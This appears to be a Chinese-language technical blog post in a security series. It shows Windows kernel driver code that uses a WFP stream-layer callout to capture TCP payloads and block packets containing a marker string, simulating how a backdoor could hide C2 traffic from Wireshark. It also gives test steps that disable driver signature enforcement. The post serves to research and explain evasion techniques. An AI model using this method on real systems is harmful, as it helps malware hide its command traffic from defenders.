在【第 29 話】WFP 監控流量說明 WFP 的運作方式與基本使用,這篇要模擬攻擊者利用 WFP 與 C2 溝通。在驅動程式接收到含有特定字串的封包時,先取得封包內容,再把封包擋掉,藉此繞過 Wireshark 偵測。
在【第 20 話】BYOVD 攻擊介紹 GhostEmperor 會放後門隱藏網路行為,卡巴斯基的分析文章說 GhostEmperor 是透過 Hook NSI Driver 的 IOCTL 來隱藏後門服務的 Port。
這篇則是要用 WFP 來隱藏包含特定字串的流量,根據我目前的研究,還沒有發現惡意程式是用這個方式隱藏自己與 C2 溝通的流量。
實作原理很簡單,用來當作後門的惡意驅動程式載入後,註冊一個 WFP,從 FWPM_LAYER_STREAM
這個 Layer 取得 TCP 封包中的資料,檢查裡面有沒有特殊字串 ithome
。有的話就擋掉,沒有的話就讓封包繼續被解析。
程式主要參考 microsoft/Windows-driver-samples,我從中取出一些需要的程式片段用在實作中並加了一些註解,完整的專案也放在我的 GitHub zeze-zeze/2023iThome。
跟【第 29 話】WFP 監控流量的差別除了 Layer 是改用 FWPM_LAYER_STREAM_V4
之外,剩下就是收到封包時的 Callout.classifyFn
實作。我們首先申請一塊記憶體存放取得的封包內容,然後要檢查收到的封包的內容是否包含 ithome
字串,有的話就把 actionType
改成 FWP_ACTION_BLOCK
,最後把封包內容印出來。
VOID NTAPI ClassifyFunctionRoutine(_In_ const FWPS_INCOMING_VALUES0* fixed_values,
_In_ const FWPS_INCOMING_METADATA_VALUES0* meta_values, _Inout_opt_ VOID* layer_data,
_In_opt_ const VOID* classify_context, _In_ const FWPS_FILTER3* filter,
_In_ UINT64 flow_context, _Inout_ FWPS_CLASSIFY_OUT0* classify_out)
{
// 預設的 actionType 是 FWP_ACTION_CONTINUE,如果後面有匹配到 ithome 字串則會改成 FWP_ACTION_BLOCK
classify_out->actionType = FWP_ACTION_CONTINUE;
FWPS_STREAM_CALLOUT_IO_PACKET* ioPacket = (FWPS_STREAM_CALLOUT_IO_PACKET*)layer_data;
if (ioPacket)
{
// 申請一塊記憶體存放取得的封包內容
FWPS_STREAM_DATA* streamData = ioPacket->streamData;
PVOID buf = ExAllocatePoolZero(NonPagedPool, streamData->dataLength + 5, 'HIDE');
if (buf)
{
SIZE_T copy;
FwpsCopyStreamDataToBuffer(streamData, buf, streamData->dataLength, ©);
if (streamData->dataLength == copy)
{
// 檢查封包中有沒有包含 ithome 字串,有的話就把 actionType 改成 FWP_ACTION_BLOCK 繞過 Wireshark 偵測
if (streamData->dataLength >= 6 && strstr(buf, "ithome"))
{
classify_out->actionType = FWP_ACTION_BLOCK;
}
// 把封包內容印出來
PrettyMemory(buf, streamData->dataLength);
}
ExFreePoolWithTag(buf, 'HIDE');
}
}
}
開啟 VM,記得要在本機開啟 vmmon64.exe,並在 boot options 按 F8 選擇 Disable Driver Signature Enforcement
。
HideNetwork
讓印出的資訊簡潔一些nc64.exe 127.0.0.1 135
,135 Port 是網路芳鄰,如果這個 Port 沒開,可以用 netstat -ano
指令任意找一個有開啟的服務的 Port127.0.0.1:135
這組 IP、Port 測試在 cmd 輸入任意字串,例如 aaaaaaaa...
時,WireShark 和 DbgView 都可以正常取得封包內容。
但是當輸入 bbbbbbbbithomebbbbbbbb
等含有 ithome
字串的資料時,DbgView 仍然可以印出封包內容,但是 Wireshark 卻偵測不到封包了。